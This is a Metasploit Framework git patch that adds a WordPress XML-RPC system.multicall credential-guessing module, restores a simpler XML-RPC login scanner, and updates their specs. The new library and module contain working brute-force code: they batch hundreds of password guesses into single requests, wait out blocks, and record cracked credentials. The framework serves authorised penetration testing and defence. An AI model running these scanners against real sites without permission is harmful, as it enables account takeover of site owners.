From 0f9cf812b7ea804fbf8d12ddd6aab152dc8a9735 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 Jan 2016 18:54:20 -0600 Subject: [PATCH] Bring wordpress_xmlrpc_login back, make wordpress_multicall as new --- .../login_scanner/wordpress_multicall.rb | 149 +++++++++++++++ .../framework/login_scanner/wordpress_rpc.rb | 180 ++++++------------ .../scanner/http/wordpress_multicall_creds.rb | 141 ++++++++++++++ .../scanner/http/wordpress_xmlrpc_login.rb | 135 +++++-------- .../login_scanner/wordpress_multicall_spec.rb | 108 +++++++++++ .../login_scanner/wordpress_rpc_spec.rb | 103 +--------- 6 files changed, 505 insertions(+), 311 deletions(-) create mode 100644 lib/metasploit/framework/login_scanner/wordpress_multicall.rb create mode 100644 modules/auxiliary/scanner/http/wordpress_multicall_creds.rb create mode 100644 spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb diff --git a/lib/metasploit/framework/login_scanner/wordpress_multicall.rb b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb new file mode 100644 index 000000000000..02068a3ab4ee --- /dev/null +++ b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb @@ -0,0 +1,149 @@ +require 'metasploit/framework/login_scanner/http' +require 'nokogiri' + +module Metasploit + module Framework + module LoginScanner + + class WordpressMulticall < HTTP + + # @!attribute passwords + # @return [Array] + attr_accessor :passwords + + # @!attribute chunk_size + # @return [Fixnum] + attr_accessor :chunk_size + + # @!attribute block_wait + # @return [Fixnum] + attr_accessor :block_wait + + # @!attribute base_uri + # @return [String] + attr_accessor :base_uri + + # @!attribute wordpress_url_xmlrpc + # @return [String] + attr_accessor :wordpress_url_xmlrpc + + def set_default + self.wordpress_url_xmlrpc = 'xmlrpc.php' + self.block_wait = 6 + self.base_uri = '/' + self.chunk_size = 1800 + end + + # Returns the XML data that is used for the login. + # + # @param user [String] username + # @return [Array] + def generate_xml(user) + xml_payloads = [] + + # Evil XML | Limit number of log-ins to CHUNKSIZE/request due + # Wordpress limitation which is 1700 maximum. + passwords.each_slice(chunk_size) do |pass_group| + document = Nokogiri::XML::Builder.new do |xml| + xml.methodCall { + xml.methodName("system.multicall") + xml.params { + xml.param { + xml.value { + xml.array { + xml.data { + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end + }}}}}} + end + xml_payloads << document.to_xml + end + + xml_payloads + end + + # Sends an HTTP request to Wordpress. + # + # @param xml [String] XML data. + # @return [void] + def send_wp_request(xml) + opts = + { + 'method' => 'POST', + 'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"), + 'data' => xml, + 'ctype' =>'text/xml' + } + + client = Rex::Proto::Http::Client.new(rhost) + client.connect + req = client.request_cgi(opts) + res = client.send_recv(req) + + if res && res.code != 200 + sleep(block_wait * 60) + end + + @res = res + end + + + # Attempts to login. + # + # @param credential [Metasploit::Framework::Credential] + # @return [Metasploit::Framework::LoginScanner::Result] + def attempt_login(credential) + generate_xml(credential.public).each do |xml| + send_wp_request(xml) + req_xml = Nokogiri::Slop(xml) + res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join) + res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| + result = value.at("struct/member/value/int") + if result.nil? + pass = req_xml.search("data/value/array/data")[i].value[1].text.strip + credential.private = pass + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL) + return Result.new(result_opts) + end + end + end + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT) + return Result.new(result_opts) + end + + end + end + end +end + + diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index ccd6dfbc575e..51265384fc69 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -1,5 +1,4 @@ require 'metasploit/framework/login_scanner/http' -require 'nokogiri' module Metasploit module Framework @@ -8,138 +7,70 @@ module LoginScanner # Wordpress XML RPC login scanner class WordpressRPC < HTTP - # @!attribute passwords - # @return [Array] - attr_accessor :passwords - - # @!attribute chunk_size - # @return [Fixnum] - attr_accessor :chunk_size - - # @!attribute block_wait - # @return [Fixnum] - attr_accessor :block_wait - - # @!attribute base_uri - # @return [String] - attr_accessor :base_uri - - # @!attribute wordpress_url_xmlrpc - # @return [String] - attr_accessor :wordpress_url_xmlrpc - - def set_default - self.wordpress_url_xmlrpc = 'xmlrpc.php' - self.block_wait = 6 - self.base_uri = '/' - self.chunk_size = 1800 - end + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies + ) + configure_http_client(http_client) - # Returns the XML data that is used for the login. - # - # @param user [String] username - # @return [Array] - def generate_xml(user) - xml_payloads = [] + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end - # Evil XML | Limit number of log-ins to CHUNKSIZE/request due - # Wordpress limitation which is 1700 maximum. - passwords.each_slice(chunk_size) do |pass_group| - document = Nokogiri::XML::Builder.new do |xml| - xml.methodCall { - xml.methodName("system.multicall") - xml.params { - xml.param { - xml.value { - xml.array { - xml.data { - pass_group.each do |pass| - xml.value { - xml.struct { - xml.member { - xml.name("methodName") - xml.value { xml.string("wp.getUsersBlogs") }} - xml.member { - xml.name("params") - xml.value { - xml.array { - xml.data { - xml.value { - xml.array { - xml.data { - xml.value { xml.string(user) } - xml.value { xml.string(pass) } - }}}}}}}}} - end - }}}}}} + begin + http_client.connect + + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method, + 'data' => generate_xml_request(credential.public,credential.private), + ) + response = http_client.send_recv(request) + + if response && response.code == 200 && response.body =~ /401<\/int><\/value>/ || response.body =~ /user_id<\/name>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + elsif response.body =~ /-32601<\/int><\/value>/ + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) end - xml_payloads << document.to_xml + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) end - xml_payloads - end - - # Sends an HTTP request to Wordpress. - # - # @param xml [String] XML data. - # @return [void] - def send_wp_request(xml) - opts = - { - 'method' => 'POST', - 'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"), - 'data' => xml, - 'ctype' =>'text/xml' - } + Result.new(result_opts) - client = Rex::Proto::Http::Client.new(rhost) - client.connect - req = client.request_cgi(opts) - res = client.send_recv(req) - - if res && res.code != 200 - sleep(block_wait * 60) - end - - @res = res end + # This method generates the XML data for the RPC login request + # @param user [String] the username to authenticate with + # @param pass [String] the password to authenticate with + # @return [String] the generated XML body for the request + def generate_xml_request(user, pass) + xml = "" + xml << '' + xml << 'wp.getUsers' + xml << '1' + xml << "#{user}" + xml << "#{pass}" + xml << '' + xml << '' + xml + end - # Attempts to login. - # - # @param credential [Metasploit::Framework::Credential] - # @return [Metasploit::Framework::LoginScanner::Result] - def attempt_login(credential) - generate_xml(credential.public).each do |xml| - send_wp_request(xml) - req_xml = Nokogiri::Slop(xml) - res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join) - res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i| - result = value.at("struct/member/value/int") - if result.nil? - pass = req_xml.search("data/value/array/data")[i].value[1].text.strip - credential.private = pass - result_opts = { - credential: credential, - host: host, - port: port, - protocol: 'tcp' - } - result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL) - return Result.new(result_opts) - end - end - end - - result_opts = { - credential: credential, - host: host, - port: port, - protocol: 'tcp' - } - - result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT) - return Result.new(result_opts) + # (see Base#set_sane_defaults) + def set_sane_defaults + @method = "POST".freeze + super end end @@ -147,4 +78,3 @@ def attempt_login(credential) end end - diff --git a/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb new file mode 100644 index 000000000000..918be2c086d3 --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_multicall_creds.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/wordpress_multicall' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress XML-RPC system.multicall Credential Collector', + 'Description' => %q{ + This module attempts to find Wordpress credentials by abusing the XMLRPC + APIs. Wordpress versions prior to 4.4.1 are suitable for this type of + technique. For other versions, please try the wordpress_xmlrpc_login + module instead. + }, + 'Author' => + [ + 'Cenk Kalpakoglu ', + 'KingSabri ' , + 'William ', + 'sinn3r' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://wordpress.org/'], + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], + ['CVE', '1999-0502'], # Weak password + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] + ], + 'DefaultOptions' => + { + 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), + 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") + } + )) + + register_options( + [ + OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]), + OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]) + ], self.class) + + # Not supporting these options, because we are not actually letting the API to process the + # password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC. + deregister_options( + 'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS' + ) + end + + def passwords + File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp} + end + + def check_options + if datastore['CHUNKSIZE'] > 1700 + fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700') + end + end + + def setup + check_options + end + + def check_setup + vprint_status("Checking #{peer} status!") + version = wordpress_version + vprint_status("Found Wordpress version: #{version}") + + if !wordpress_and_online? + print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") + false + elsif !wordpress_xmlrpc_enabled? + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") + false + elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1') + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.") + false + else + print_status("Target #{peer} is running Wordpress") + true + end + end + + def run_host(ip) + if check_setup + print_status("XMLRPC enabled, Hello message received!") + else + print_error("Abborting the attack.") + return + end + + print_status("#{peer} - Starting XML-RPC login sweep...") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: true, + user_file: datastore['USER_FILE'], + username: datastore['USERNAME'] + ) + + scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new( + configure_http_login_scanner( + passwords: passwords, + chunk_size: datastore['CHUNKSIZE'], + block_wait: datastore['BLOCKEDWAIT'], + base_uri: target_uri.path, + uri: wordpress_url_xmlrpc, + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + ) + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}" + end + end + + end + +end diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index 1d56d14fc342..fb7097671a93 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -8,7 +8,6 @@ require 'metasploit/framework/login_scanner/wordpress_rpc' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute @@ -16,106 +15,56 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', - 'Description' => %q{ - This module attempts to authenticate against a Wordpress-site - (via XMLRPC) using username and password combinations indicated - by the USER_FILE, PASS_FILE, and USERPASS_FILE options. - - Please note this module will not work against newer versions of Wordpress, - such as 4.4.1, due to the mitigation in place. - }, - 'Author' => - [ - 'Cenk Kalpakoglu ', - 'KingSabri ' , - 'William ' - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'https://wordpress.org/'], - ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], - ['CVE', '1999-0502'], # Weak password - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] - ], - 'DefaultOptions' => - { - 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), - 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") - } - )) + 'Name' => 'Wordpress XML-RPC Username/Password Login Scanner', + 'Description' => ' + This module attempts to authenticate against a Wordpress-site + (via XMLRPC) using username and password combinations indicated + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + ', + 'Author' => + [ + 'Cenk Kalpakoglu ', + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://wordpress.org/'], + ['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'], + ['CVE', '1999-0502'] # Weak password + ] + )) register_options( - [ - OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]), - OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]) - ], self.class) - - # Not supporting these options, because we are not actually letting the API to process the - # password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC. - deregister_options( - 'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS' - ) - end - - def passwords - File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp} - end - - def check_options - if datastore['CHUNKSIZE'] > 1700 - fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700') - end - end - - def setup - check_options - end - - def check_setup - vprint_status("Checking #{peer} status!") - version = wordpress_version - vprint_status("Found Wordpress version: #{version}") + [ + Opt::RPORT(80), + ], self.class) - if !wordpress_and_online? - print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") - false - elsif !wordpress_xmlrpc_enabled? - print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") - false - elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1') - print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.") - false - else - print_status("Target #{peer} is running Wordpress") - true - end + deregister_options('BLANK_PASSWORDS') # we don't need this option end def run_host(ip) - if check_setup - print_status("XMLRPC enabled, Hello message received!") + print_status("#{peer}:#{wordpress_url_xmlrpc} - Sending Hello...") + if wordpress_xmlrpc_enabled? + vprint_good("XMLRPC enabled, Hello message received!") else - print_error("Abborting the attack.") - return + print_error("XMLRPC is not enabled! Aborting") + return :abort end print_status("#{peer} - Starting XML-RPC login sweep...") cred_collection = Metasploit::Framework::CredentialCollection.new( - blank_passwords: true, + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], user_file: datastore['USER_FILE'], - username: datastore['USERNAME'] + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], ) scanner = Metasploit::Framework::LoginScanner::WordpressRPC.new( configure_http_login_scanner( - passwords: passwords, - chunk_size: datastore['CHUNKSIZE'], - block_wait: datastore['BLOCKEDWAIT'], - base_uri: target_uri.path, uri: wordpress_url_xmlrpc, cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], @@ -130,10 +79,24 @@ def run_host(ip) module_fullname: self.fullname, workspace_id: myworkspace_id ) - case result.status when Metasploit::Model::Login::Status::SUCCESSFUL - print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}" + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) end end diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb new file mode 100644 index 000000000000..59f489554346 --- /dev/null +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_multicall_spec.rb @@ -0,0 +1,108 @@ +require 'spec_helper' +require 'metasploit/framework/login_scanner/wordpress_multicall' + +describe Metasploit::Framework::LoginScanner::WordpressMulticall do + + it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false + it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + + subject do + described_class.new + end + + let(:username) do + 'username' + end + + let(:good_password) do + 'goodpassword' + end + + let(:passwords) do + [good_password] + end + + let(:good_response) do + %Q| + + + + + + + + + isAdmin1 + urlhttp://192.168.1.202/wordpress/ + blogid1 + blogNameTest + xmlrpchttp://192.168.1.202/wordpress/xmlrpc.php + + + + + + + + + | + end + + let(:response) do + r = Rex::Proto::Http::Response.new(200, 'OK') + r.body = good_response + r + end + + before(:each) do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close) + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect) + end + + before do + subject.instance_variable_set(:@passwords, passwords) + subject.set_default + end + + describe '#generate_xml' do + context 'when a username is given' do + it 'returns an array' do + expect(subject.generate_xml(username)).to be_kind_of(Array) + end + + it 'contains our username' do + xml = subject.generate_xml(username).first + expect(xml).to include('') + end + end + end + + describe '#attempt_login' do + context 'when the credential is valid' do + it 'returns a Result object indicating a successful login' do + cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password) + result = subject.attempt_login(cred_obj) + expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result) + expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) + end + end + end + + describe '#send_wp_request' do + context 'when a request is sent' do + it 'sets @res with an HTTP response object' do + subject.send_wp_request('xml') + expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response) + end + + it 'sets @res with an XML document' do + subject.send_wp_request('xml') + expect(subject.instance_variable_get(:@res).body).to include('') + end + end + end + +end diff --git a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb index 3182394c1776..663a5375b886 100644 --- a/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/wordpress_rpc_spec.rb @@ -1,108 +1,11 @@ require 'spec_helper' require 'metasploit/framework/login_scanner/wordpress_rpc' -describe Metasploit::Framework::LoginScanner::WordpressRPC do +RSpec.describe Metasploit::Framework::LoginScanner::WordpressRPC do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' + it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' - subject do - described_class.new - end - let(:username) do - 'username' - end - - let(:good_password) do - 'goodpassword' - end - - let(:passwords) do - [good_password] - end - - let(:good_response) do - %Q| - - - - - - - - - isAdmin1 - urlhttp://192.168.1.202/wordpress/ - blogid1 - blogNameTest - xmlrpchttp://192.168.1.202/wordpress/xmlrpc.php - - - - - - - - - | - end - - let(:response) do - r = Rex::Proto::Http::Response.new(200, 'OK') - r.body = good_response - r - end - - before(:each) do - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args) - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response) - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args) - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close) - allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect) - end - - before do - subject.instance_variable_set(:@passwords, passwords) - subject.set_default - end - - describe '#generate_xml' do - context 'when a username is given' do - it 'returns an array' do - expect(subject.generate_xml(username)).to be_kind_of(Array) - end - - it 'contains our username' do - xml = subject.generate_xml(username).first - expect(xml).to include('') - end - end - end - - describe '#attempt_login' do - context 'when the credential is valid' do - it 'returns a Result object indicating a successful login' do - cred_obj = Metasploit::Framework::Credential.new(public: username, private: good_password) - result = subject.attempt_login(cred_obj) - expect(result).to be_kind_of(::Metasploit::Framework::LoginScanner::Result) - expect(result.status).to eq(Metasploit::Model::Login::Status::SUCCESSFUL) - end - end - end - - describe '#send_wp_request' do - context 'when a request is sent' do - it 'sets @res with an HTTP response object' do - subject.send_wp_request('xml') - expect(subject.instance_variable_get(:@res)).to be_kind_of(Rex::Proto::Http::Response) - end - - it 'sets @res with an XML document' do - subject.send_wp_request('xml') - expect(subject.instance_variable_get(:@res).body).to include('') - end - end - end - -end +end \ No newline at end of file